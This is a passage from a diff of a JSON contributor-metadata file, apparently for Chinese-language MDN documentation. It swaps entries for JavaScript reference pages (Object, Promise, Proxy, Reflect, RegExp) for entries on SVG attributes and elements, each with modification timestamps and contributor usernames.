"contributors": [ - "Aaron-Bird", - "RoXoM", - "kdex", - "Hushabyme", - "delkaka", - "ziyunfei" + "cuixiping", + "IridescentMia" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames": { - "modified": "2020-10-15T21:04:50.666Z", + "Web/SVG/Attribute/stroke-miterlimit": { + "modified": "2019-03-23T22:46:40.182Z", "contributors": [ - "woyaohaohaoxuexi", - "ywjco", - "zhangchen", - "C_Kite", - "kdex", - "Ende93", - "RandyOu", - "ChrisCindy", - "helinjiang", - "teoli", - "AlexChao", - "ziyunfei", - "Arenwisdom" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols": { - "modified": "2020-10-15T21:28:24.757Z", + "Web/SVG/Attribute/stroke-opacity": { + "modified": "2019-03-23T22:46:37.761Z", "contributors": [ - "zhangchen", - "limichange", - "AlexChao", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty": { - "modified": "2020-11-12T05:23:35.945Z", + "Web/SVG/Attribute/stroke-width": { + "modified": "2019-03-23T22:46:41.922Z", "contributors": [ - "haichao0817", - "Harry-Zhao", - "RainSlide", - "liuzhengdong", - "ShirleyM", - "xgqfrms-GitHub", - "Ende93", - "ziyunfei", - "yyj" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/is": { - "modified": "2020-10-15T21:22:02.169Z", + "Web/SVG/Attribute/style": { + "modified": "2019-10-09T03:46:30.272Z", "contributors": [ - "jaredhan418", - "Mirefire", - "ngulee", - "RainSlide", - "42", - "zhangchen", - "shaojingchao", + "xianshenglu", "xgqfrms-GitHub", - "Ende93", - "ziyunfei", - "snandy", - "teoli", - "zhangyaochun1987" + "monjer" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/isExtensible": { - "modified": "2019-03-24T12:06:06.825Z", + "Web/SVG/Attribute/target": { + "modified": "2020-10-15T22:27:15.767Z", "contributors": [ - "fanerge", - "helinjiang", - "AlexChao", - "teoli", - "ziyunfei" + "fzhyzamt", + "boli14" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/isFrozen": { - "modified": "2020-10-15T21:04:51.362Z", + "Web/SVG/Attribute/text-decoration": { + "modified": "2020-09-26T20:27:21.690Z", "contributors": [ - "XiongAmao", - "zhangchen", - "xgqfrms-GitHub", - "micheal-death", - "WangXiao", - "helinjiang", - "AlexChao", - "teoli", - "ziyunfei", - "undercooled" + "xuhaooo", + "qingpingy" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf": { - "modified": "2019-07-25T07:55:33.320Z", + "Web/SVG/Attribute/transform": { + "modified": "2019-10-17T10:24:00.177Z", "contributors": [ - "xhlsrj", - "xgqfrms-GitHub", - "Ende93", - "helloguangxue", - "teoli", - "AlexChao", - "ziyunfei" + "qq240814476" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/isSealed": { - "modified": "2020-10-15T21:04:48.021Z", + "Web/SVG/Attribute/type": { + "modified": "2019-09-27T11:12:53.094Z", "contributors": [ - "yuyeqianxun", - "zhangchen", - "xgqfrms-GitHub", - "Ende93", - "helinjiang", - "AlexChao", - "teoli", - "ziyunfei", - "undercooled" + "Huang2019023239" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/keys": { - "modified": "2020-10-15T21:06:49.993Z", + "Web/SVG/Attribute/units-per-em": { + "modified": "2020-10-15T22:25:05.021Z", "contributors": [ - "fbfatboy", - "Cuixote", - "liuzhengdong", - "SphinxKnight", - "Vike50", - "zhuangyin", - "dc165015", - "zhangchen", - "ywjco", - "xgqfrms-GitHub", - "Ende93", - "Lynn0108", - "kdex", - "micheal-death", - "zaxlct", - "WhiteMind", - "qdxt", - "teoli", - "AlexChao", - "ziyunfei" + "pandahara" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/preventExtensions": { - "modified": "2020-10-15T21:04:47.741Z", + "Web/SVG/Attribute/values": { + "modified": "2020-08-19T04:16:48.441Z", "contributors": [ - "Astroleander", - "zhangchen", - "recursion", - "AlexChao", - "teoli", - "ziyunfei", - "undercooled" + "keyline-1" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable": { - "modified": "2020-10-15T21:21:12.490Z", + "Web/SVG/Attribute/vector-effect": { + "modified": "2020-10-15T22:25:39.831Z", "contributors": [ - "RainSlide", - "zhangchen", - "TiaossuP", - "helloguangxue", - "Gresic", - "teoli", - "AlexChao", - "ziyunfei" + "cuixiping" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/proto": { - "modified": "2020-10-15T21:20:42.886Z", + "Web/SVG/Attribute/version": { + "modified": "2019-08-03T10:57:47.255Z", + "contributors": [ + "monkeycf", + "LiKunWillShine" + ] + }, + "Web/SVG/Attribute/viewBox": { + "modified": "2019-08-01T23:50:11.252Z", + "contributors": [ + "lovefengruoqing", + "act262" + ] + }, + "Web/SVG/Attribute/visibility": { + "modified": "2019-03-23T22:46:34.860Z", + "contributors": [ + "fanxiaojie" + ] + }, + "Web/SVG/Attribute/width": { + "modified": "2019-03-23T22:46:51.950Z", "contributors": [ - "milyyy", "Ende93", - "rjdangcc", - "HIKALU-Z", - "Btista", - "trotyl", - "wolyshaw", - "xgqfrms-GitHub", - "eeeeeeeason", - "Howard.Chen", - "Wayme", - "lisniuse", - "redcool007", - "Leslie2014", - "teoli", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/prototype": { - "modified": "2020-10-15T21:21:47.231Z", + "Web/SVG/Attribute/x": { + "modified": "2019-03-23T22:46:48.086Z", "contributors": [ - "SphinxKnight", - "daihaoxin", - "zhangchen", - "wwy2018", - "Linjing", - "WizardAlice", - "ywjco", - "xgqfrms-GitHub", - "Cattla", - "scscms", - "webery", - "luoway", - "ziyunfei", - "LinusYu", - "teoli", - "iwo" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/seal": { - "modified": "2020-10-15T21:04:46.777Z", + "Web/SVG/Attribute/y": { + "modified": "2019-03-23T22:46:47.078Z", "contributors": [ - "1997Liusheng", - "acejerry", - "zhangchen", - "cwwjie", - "toBeTheLight", - "zixiangTang", - "AlexChao", + "jiereal", + "fanxiaojie" + ] + }, + "Web/SVG/Content_type": { + "modified": "2019-03-23T22:46:41.769Z", + "contributors": [ + "fanxiaojie" + ] + }, + "Web/SVG/Element": { + "modified": "2020-03-13T06:26:33.332Z", + "contributors": [ + "Dorence", + "RainSlide", + "fanxiaojie", + "lunix01", + "cungen", "teoli", - "ziyunfei", - "monthev" + "ethertank" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf": { - "modified": "2020-10-15T21:23:41.066Z", + "Web/SVG/Element/a": { + "modified": "2019-06-15T03:14:27.907Z", "contributors": [ - "zhuguibiao", - "fengma", - "xgqfrms-GitHub", - "kameii", - "inJs", - "xuzhijun", - "helm", + "lnh", + "sqchenxiyuan", + "Sebastianz", + "fanxiaojie", "teoli", - "ziyunfei" + "techird" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/toLocaleString": { - "modified": "2020-10-15T21:28:39.035Z", + "Web/SVG/Element/altGlyph": { + "modified": "2019-06-15T03:14:19.322Z", "contributors": [ - "ShirleyM", - "Humyang", - "zhangchen", - "AlexChao" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/toSource": { - "modified": "2020-10-15T21:21:01.572Z", + "Web/SVG/Element/altGlyphDef": { + "modified": "2019-03-23T22:46:38.701Z", "contributors": [ - "qiu_han", - "zhangchen", - "xgqfrms-GitHub", - "keller0", - "teoli", - "ziyunfei" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/toString": { - "modified": "2020-10-15T21:22:00.834Z", + "Web/SVG/Element/altGlyphItem": { + "modified": "2019-03-23T22:46:33.665Z", "contributors": [ - "RainSlide", - "jbbjs", - "johnlin0207", - "zhangchen", - "xgqfrms-GitHub", - "wizardforcel", - "Hugh", - "sabrinaluo", - "AlexChao", - "ziyunfei", - "ZhouMengkang", - "teoli" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/valueOf": { - "modified": "2020-10-15T21:19:19.149Z", + "Web/SVG/Element/animate": { + "modified": "2020-05-04T23:05:51.292Z", "contributors": [ - "microJ", - "ywjco", - "zhangchen", - "zilong-thu", - "jimwmg", + "knightyun", + "oujielong", "Ende93", - "helloguangxue", - "paddingme", - "teoli", - "ziyunfei" + "luojia", + "Sebastianz", + "fanxiaojie", + "329530588", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/values": { - "modified": "2020-10-15T21:42:31.053Z", + "Web/SVG/Element/animateColor": { + "modified": "2019-03-23T22:46:35.027Z", "contributors": [ - "Bayes", - "RoXoM", - "ywjco", - "zhangchen", - "spiritree", - "percy507", - "maicss", "xgqfrms-GitHub", - "Hushabyme", - "webery" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise": { - "modified": "2020-11-09T05:18:40.533Z", + "Web/SVG/Element/animateMotion": { + "modified": "2020-10-15T21:39:29.124Z", "contributors": [ - "13126767772", - "Neo42", - "NickH", - "jackyKin", - "SandBoat", - "xgqfrms", - "woniuxingdong", - "ourai", - "w1687021088", - "xianghui-ma", - "42", - "SterileSummer", - "ZhechenLi", - "kyriejoshua", - "DHclly", - "Jiang-Xuan", - "filosfino", - "dandanbu3", - "suwu150", - "YISHI", - "Debugger-D", - "winjeysong", - "sjz2259696", - "NoroHime", - "SunApriloy", - "xutao", - "_da", - "wYhooo", - "tangHanSan", - "ThaddeusJiang", - "lindaxiao-hust", + "knightyun", + "wbamberg", + "Sebastianz", + "fanxiaojie" + ] + }, + "Web/SVG/Element/animateTransform": { + "modified": "2019-03-23T22:46:37.058Z", + "contributors": [ + "Sebastianz", + "fanxiaojie" + ] + }, + "Web/SVG/Element/circle": { + "modified": "2019-03-23T21:45:42.756Z", + "contributors": [ + "wbamberg", "xgqfrms-GitHub", - "HenryYong", - "Ende93", - "liujun121533", - "pot-code", - "lihx_hit", - "sensui7", - "udoless", - "dingxu", - "AnnAngela", - "excosy", - "billcz", - "Yidada", - "hipop", - "dear-lizhihua", - "xuanxiao2013", - "fskuok", - "mountainmoon", - "Fantasy_shao" + "Sebastianz", + "loofahsf", + "fanxiaojie", + "ziyunfei", + "cungen" + ] + }, + "Web/SVG/Element/clipPath": { + "modified": "2020-10-15T21:32:57.569Z", + "contributors": [ + "jhchen6", + "RainSlide", + "Sebastianz", + "fanxiaojie", + "huyue" + ] + }, + "Web/SVG/Element/color-profile": { + "modified": "2019-03-23T22:46:33.322Z", + "contributors": [ + "Sebastianz", + "fanxiaojie" + ] + }, + "Web/SVG/Element/cursor": { + "modified": "2020-10-15T21:39:22.908Z", + "contributors": [ + "knightyun", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/Promise": { - "modified": "2020-10-15T22:27:28.549Z", + "Web/SVG/Element/defs": { + "modified": "2019-03-23T23:05:33.636Z", "contributors": [ - "GYN" + "Sebastianz", + "fanxiaojie", + "charlie", + "baiya" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/all": { - "modified": "2020-12-13T19:21:55.259Z", + "Web/SVG/Element/desc": { + "modified": "2019-03-23T22:46:43.461Z", "contributors": [ - "hamishwillee", - "可能你对强有什么误解", - "xgqfrms", - "Debugger-D", - "moldray", - "kite-js", - "gemmi", - "Jiang-Xuan", - "BearZ", - "higrw", - "xgqfrms-GitHub", - "rollinhup", - "Hushabyme", - "iugo", - "billcz", - "zilong-thu", - "fskuok" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/allSettled": { - "modified": "2020-11-21T01:58:43.408Z", + "Web/SVG/Element/ellipse": { + "modified": "2019-03-23T22:54:08.203Z", "contributors": [ - "xgqfrms", - "wowoqu", - "mountainmoon", - "chrisdavidmills", - "zhangchen", - "bangbang93", - "RoXoM", - "youngboy", - "SphinxKnight", - "jiaqunying" + "wbamberg", + "Sebastianz", + "fanxiaojie", + "FredWe" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/any": { - "modified": "2020-10-27T03:51:15.177Z", + "Web/SVG/Element/feBlend": { + "modified": "2019-03-23T22:46:45.814Z", "contributors": [ - "SphinxKnight", - "mashuiquan", - "damengzhang", - "laampui", - "XLCYun", - "zhangchen", - "yinguangyao" + "liyongleihf2006", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/catch": { - "modified": "2020-10-15T21:31:34.215Z", + "Web/SVG/Element/feColorMatrix": { + "modified": "2019-03-23T23:25:05.534Z", "contributors": [ - "oldmtn", - "xycd", - "banli17", - "zhishaofei3", - "SheltonDong", - "Yevvb", - "HsuanLee", - "xgqfrms-GitHub", - "Hushabyme", - "fskuok", - "mountainmoon" + "Sebastianz", + "fanxiaojie", + "teoli", + "daniel.tian" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/finally": { - "modified": "2020-10-15T22:01:56.341Z", + "Web/SVG/Element/feComponentTransfer": { + "modified": "2019-03-23T22:46:30.620Z", "contributors": [ - "WangLeto", - "zhangchen", - "Pada", - "ZQ-jhon", - "sudoor", - "ziclee", - "zhengzongyi", - "hoshino111" + "liyongleihf2006", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/prototype": { - "modified": "2019-06-27T05:04:40.773Z", + "Web/SVG/Element/feComposite": { + "modified": "2019-03-23T22:46:29.887Z", "contributors": [ - "SphinxKnight", - "cyancity", - "Bryannnnnnn", - "HenryYong", - "mountainmoon" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/race": { - "modified": "2020-10-15T21:34:18.502Z", + "Web/SVG/Element/feConvolveMatrix": { + "modified": "2019-08-01T01:30:07.081Z", "contributors": [ - "Cuixote", - "lastnigtic", - "zhangchen", - "Jiang-Xuan", - "xgqfrms-GitHub", - "zhang-quan-yi", - "Hushabyme", - "fskuok" + "liyongleihf2006", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/reject": { - "modified": "2020-10-15T21:34:10.841Z", + "Web/SVG/Element/feDiffuseLighting": { + "modified": "2019-03-23T22:46:38.862Z", "contributors": [ - "zhangchen", - "ChauMing", - "Flcwl", - "SphinxKnight", - "fskuok" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/resolve": { - "modified": "2020-10-15T21:36:39.943Z", + "Web/SVG/Element/feDisplacementMap": { + "modified": "2019-03-23T22:46:34.138Z", "contributors": [ - "inlym", - "ly023", - "zhangchen", - "xiaoxiyao", - "rockedpanda", - "cyancity", - "Jiang-Xuan", - "fscholz", - "nineSean", - "purple_force", - "Zhangjd", - "ylc395" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/then": { - "modified": "2020-10-15T21:31:32.284Z", + "Web/SVG/Element/feDistantLight": { + "modified": "2019-03-23T22:46:37.517Z", "contributors": [ - "BadmasterY", - "RainSlide", - "zrefrain", - "triboby", - "litbear", - "love999262", - "Jiang-Xuan", - "LiXin", - "WenWu92", - "Kylin.this", - "HsuanLee", - "xgqfrms-GitHub", - "Ende93", - "Hushabyme", - "RandyLoop", - "hipop", - "liuyiqian", - "fskuok", - "mountainmoon" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy": { - "modified": "2020-11-29T05:45:07.225Z", + "Web/SVG/Element/feFlood": { + "modified": "2019-03-23T22:46:31.627Z", + "contributors": [ + "Sebastianz", + "fanxiaojie" + ] + }, + "Web/SVG/Element/feFuncA": { + "modified": "2020-10-15T21:39:23.537Z", "contributors": [ - "saifeiLee", - "VicterSun", "RainSlide", - "Hilshire", - "liuguanyu", - "xgqfrms-GitHub", - "zhangchen", - "Lave", - "gaoupon", - "kdex", - "gaopeng", - "07akioni", - "wzx", - "Go7hic", - "WarriorWu", - "Katherina-Miao", - "ziyunfei", - "teoli" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy": { - "modified": "2020-10-15T22:33:06.804Z", + "Web/SVG/Element/feFuncB": { + "modified": "2019-03-23T22:46:38.185Z", "contributors": [ - "zhanghaoxu0128" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler": { - "modified": "2020-10-15T21:32:21.161Z", + "Web/SVG/Element/feFuncG": { + "modified": "2019-03-23T22:46:32.939Z", "contributors": [ - "stack_vim", - "RainSlide", - "wallena3", - "daxiazilong", - "Bayes", - "SphinxKnight", - "myl0204", - "ziyunfei" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply": { - "modified": "2020-10-15T21:46:28.417Z", + "Web/SVG/Element/feFuncR": { + "modified": "2019-03-23T22:46:31.912Z", "contributors": [ - "ngtmuzi", - "wtZZx" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct": { - "modified": "2020-10-15T21:56:26.489Z", + "Web/SVG/Element/feGaussianBlur": { + "modified": "2019-03-23T22:46:35.725Z", "contributors": [ - "dickenslian", - "DuLinRain" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/defineProperty": { - "modified": "2019-07-17T00:09:33.026Z", + "Web/SVG/Element/feImage": { + "modified": "2019-03-23T22:46:35.585Z", "contributors": [ - "accountwind", - "Illyrix" + "AaronYehf", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty": { - "modified": "2019-03-23T22:18:37.010Z", + "Web/SVG/Element/feMerge": { + "modified": "2019-03-23T22:46:36.019Z", "contributors": [ - "Illyrix" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/get": { - "modified": "2019-03-23T22:32:42.643Z", + "Web/SVG/Element/feMergeNode": { + "modified": "2019-03-23T22:46:29.748Z", "contributors": [ - "Shigma", - "ngtmuzi" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor": { - "modified": "2019-07-28T23:51:58.213Z", + "Web/SVG/Element/feMorphology": { + "modified": "2019-03-23T22:51:21.184Z", "contributors": [ - "darkmirrors", - "EPSON-LEE", - "Hushabyme" + "Sebastianz", + "fanxiaojie", + "foolof41" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/getPrototypeOf": { - "modified": "2020-10-15T21:32:20.694Z", + "Web/SVG/Element/feOffset": { + "modified": "2019-03-23T22:46:37.362Z", "contributors": [ - "RainSlide", - "OStoneO", - "SphinxKnight", - "ziyunfei" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/has": { - "modified": "2019-08-25T22:51:33.932Z", + "Web/SVG/Element/fePointLight": { + "modified": "2019-03-23T22:46:33.171Z", "contributors": [ - "wonschangge", - "EPSON-LEE", - "Hearmen" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/isExtensible": { - "modified": "2020-10-15T21:59:04.944Z", + "Web/SVG/Element/feSpecularLighting": { + "modified": "2019-03-23T22:46:21.088Z", "contributors": [ - "wonschangge", - "cxftj" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/ownKeys": { - "modified": "2019-08-25T23:12:08.688Z", + "Web/SVG/Element/feSpotLight": { + "modified": "2019-03-23T22:46:30.010Z", "contributors": [ - "wonschangge", - "daiqingyun", - "DuLinRain" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/preventExtensions": { - "modified": "2020-10-15T21:59:08.645Z", + "Web/SVG/Element/feTile": { + "modified": "2019-03-23T22:46:20.383Z", "contributors": [ - "jinwanmian", - "wonschangge", - "zxh19890103", - "RoXoM", - "varcat" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/set": { - "modified": "2020-10-15T21:46:38.211Z", + "Web/SVG/Element/feTurbulence": { + "modified": "2019-03-23T22:46:22.298Z", "contributors": [ - "RainSlide", - "wonschangge", - "wtZZx", - "ngtmuzi" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/setPrototypeOf": { - "modified": "2020-10-15T21:59:05.778Z", + "Web/SVG/Element/filter": { + "modified": "2020-07-14T05:46:35.376Z", "contributors": [ - "varcat" + "Yang_Gia", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/revocable": { - "modified": "2020-10-15T21:32:15.521Z", + "Web/SVG/Element/font": { + "modified": "2019-03-23T22:43:54.105Z", "contributors": [ - "RainSlide", - "SphinxKnight", - "ziyunfei" + "Sebastianz", + "fanxiaojie", + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/RangeError": { - "modified": "2019-03-23T22:27:07.051Z", + "Web/SVG/Element/font-face": { + "modified": "2019-03-23T23:04:56.439Z", "contributors": [ - "wizardforcel", - "MurphyL", - "yatace" + "Sebastianz", + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/RangeError/prototype": { - "modified": "2020-10-15T22:06:54.468Z", + "Web/SVG/Element/font-face-format": { + "modified": "2019-03-23T22:46:32.676Z", "contributors": [ - "pea3nut" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/ReferenceError": { - "modified": "2019-03-23T22:52:45.441Z", + "Web/SVG/Element/font-face-name": { + "modified": "2019-03-23T22:46:33.056Z", "contributors": [ - "funroller", - "Tienyz" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype": { - "modified": "2020-10-15T22:04:38.794Z", + "Web/SVG/Element/font-face-src": { + "modified": "2019-03-18T20:41:42.540Z", "contributors": [ - "Mal_akh" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect": { - "modified": "2020-10-15T21:38:03.417Z", + "Web/SVG/Element/font-face-uri": { + "modified": "2019-03-23T22:46:38.431Z", "contributors": [ - "tita0x00", - "LeonDWong", - "z1948296027", - "ZhangWei-KUMO", - "Akenokoru", - "Ende93", - "AlixWang", - "tanggd", - "Tommy-White", - "linzx1993", - "RoXoM", + "Sebastianz", + "fanxiaojie" + ] + }, + "Web/SVG/Element/foreignObject": { + "modified": "2020-10-15T21:39:29.342Z", + "contributors": [ + "hanjc1993", + "cnhekai", "zhangchen", - "xgqfrms-GitHub", - "mo-n", - "wzx", - "ziyunfei" + "kamilic", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/apply": { - "modified": "2020-10-15T21:46:16.764Z", + "Web/SVG/Element/g": { + "modified": "2019-03-23T22:55:45.907Z", "contributors": [ - "Ende93", - "IAIAE" + "Sebastianz", + "fanxiaojie", + "monjer" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/construct": { - "modified": "2020-07-16T14:15:43.959Z", + "Web/SVG/Element/glyph": { + "modified": "2019-03-23T22:55:52.238Z", "contributors": [ - "oxyg3n", - "caolvchong", - "xiaoxionganna", - "tornoda", - "sqqihao" + "Sebastianz", + "fanxiaojie", + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty": { - "modified": "2020-10-15T21:51:24.597Z", + "Web/SVG/Element/glyphRef": { + "modified": "2019-03-23T22:46:32.815Z", "contributors": [ - "laampui", - "tornoda", - "charlesthink", - "Hushabyme" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty": { - "modified": "2019-07-05T03:12:53.100Z", + "Web/SVG/Element/hkern": { + "modified": "2019-03-23T22:46:35.411Z", "contributors": [ - "tornoda", - "Hushabyme" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/get": { - "modified": "2020-10-15T21:51:21.601Z", + "Web/SVG/Element/image": { + "modified": "2019-03-23T23:07:18.007Z", "contributors": [ - "stupidsongshu", - "tornoda", - "AozakiOrenji", - "Hushabyme", - "EpsilonYi" + "tjyas", + "Sebastianz", + "fanxiaojie", + "lrz8745", + "cuixiping" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/getOwnPropertyDescriptor": { - "modified": "2019-03-23T22:20:49.977Z", + "Web/SVG/Element/line": { + "modified": "2019-07-31T04:23:35.374Z", "contributors": [ - "RoXoM", - "Hushabyme" + "wbamberg", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/getPrototypeOf": { - "modified": "2020-10-15T21:51:25.998Z", + "Web/SVG/Element/linearGradient": { + "modified": "2019-07-01T05:50:18.527Z", "contributors": [ - "徐鹏跃", - "RoXoM", - "Hushabyme" + "Sebastianz", + "fanxiaojie", + "ziyunfei", + "xile611" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/has": { - "modified": "2019-03-18T21:00:09.070Z", + "Web/SVG/Element/marker": { + "modified": "2019-03-23T23:03:51.340Z", "contributors": [ - "sjpeter", - "IAIAE" + "wbamberg", + "liyongleihf2006", + "Sebastianz", + "fanxiaojie", + "fonglezen" + ] + }, + "Web/SVG/Element/mask": { + "modified": "2019-03-23T23:03:51.605Z", + "contributors": [ + "wbamberg", + "Sebastianz", + "fanxiaojie", + "fonglezen" + ] + }, + "Web/SVG/Element/metadata": { + "modified": "2019-03-23T22:46:43.887Z", + "contributors": [ + "Sebastianz", + "fanxiaojie" + ] + }, + "Web/SVG/Element/missing-glyph": { + "modified": "2019-03-23T23:04:57.001Z", + "contributors": [ + "Sebastianz", + "fanxiaojie", + "fonglezen", + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/isExtensible": { - "modified": "2019-03-23T22:20:41.186Z", + "Web/SVG/Element/mpath": { + "modified": "2019-03-23T22:46:38.309Z", "contributors": [ - "cxftj", - "Hushabyme" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys": { - "modified": "2020-10-15T21:51:25.621Z", + "Web/SVG/Element/path": { + "modified": "2019-03-23T23:07:18.417Z", "contributors": [ - "zhangchen", - "liuy1994", - "Hushabyme" + "Sebastianz", + "fanxiaojie", + "cuixiping" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/preventExtensions": { - "modified": "2020-10-15T21:51:26.999Z", + "Web/SVG/Element/pattern": { + "modified": "2019-03-23T23:03:50.981Z", "contributors": [ - "Astroleander", - "RoXoM", - "Hushabyme" + "wbamberg", + "Sebastianz", + "fanxiaojie", + "fonglezen" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/set": { - "modified": "2020-10-15T21:51:25.331Z", + "Web/SVG/Element/polygon": { + "modified": "2019-03-23T23:13:30.746Z", "contributors": [ - "zero7u", - "AozakiOrenji", - "Hushabyme" + "wbamberg", + "Sebastianz", + "fanxiaojie", + "ziyunfei", + "fly-bird" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/setPrototypeOf": { - "modified": "2020-10-15T21:51:25.701Z", + "Web/SVG/Element/polyline": { + "modified": "2019-03-23T22:57:44.713Z", "contributors": [ - "徐鹏跃", - "Hushabyme" + "wbamberg", + "Sebastianz", + "fanxiaojie", + "e26h" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/比较_Reflect_和_Object_方法": { - "modified": "2020-09-02T03:21:36.745Z", + "Web/SVG/Element/radialGradient": { + "modified": "2020-10-15T21:39:21.881Z", "contributors": [ - "tita0x00" + "realstephenzhao", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp": { - "modified": "2020-12-10T23:34:38.471Z", + "Web/SVG/Element/rect": { + "modified": "2019-03-23T22:57:44.926Z", "contributors": [ - "ruienger", - "jingkaimori", - "空杉心雨后", - "ll009366", - "Ende93", - "fanerge", - "daijie", "wbamberg", - "zhuangyin", - "YoungChen", - "myl0204", - "xgqfrms-GitHub", - "kiling", - "biaocy", - "fuchao2012", - "shuata", - "xgqfrms", - "KingMario", - "vbnjfhty", - "y8n", - "tabooc", - "jamesxu", - "teoli", - "AlexChao", - "chyee", - "Darrel.Hsu", - "photino", - "ziyunfei", - "fishenal", - "akawhy", - "shi_zheng", - "GreatHan", - "Hans huang", - "Mickeyboy" + "Sebastianz", + "fanxiaojie", + "e26h" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/@@match": { - "modified": "2020-10-15T21:49:08.862Z", + "Web/SVG/Element/script": { + "modified": "2019-03-23T22:46:33.996Z", "contributors": [ - "Ende93", - "wizardforcel", - "boatlet" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/@@matchAll": { - "modified": "2020-10-15T22:16:46.561Z", + "Web/SVG/Element/set": { + "modified": "2019-08-05T06:51:54.590Z", "contributors": [ - "c1er" + "Sebastianz", + "fanxiaojie", + "baiya" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/@@replace": { - "modified": "2020-10-15T21:54:34.957Z", + "Web/SVG/Element/stop": { + "modified": "2019-03-23T22:46:37.919Z", "contributors": [ - "javenl", - "LeoQuote", - "876843240", - "fanyer" + "Sebastianz", + "fanxiaojie" ] }, - 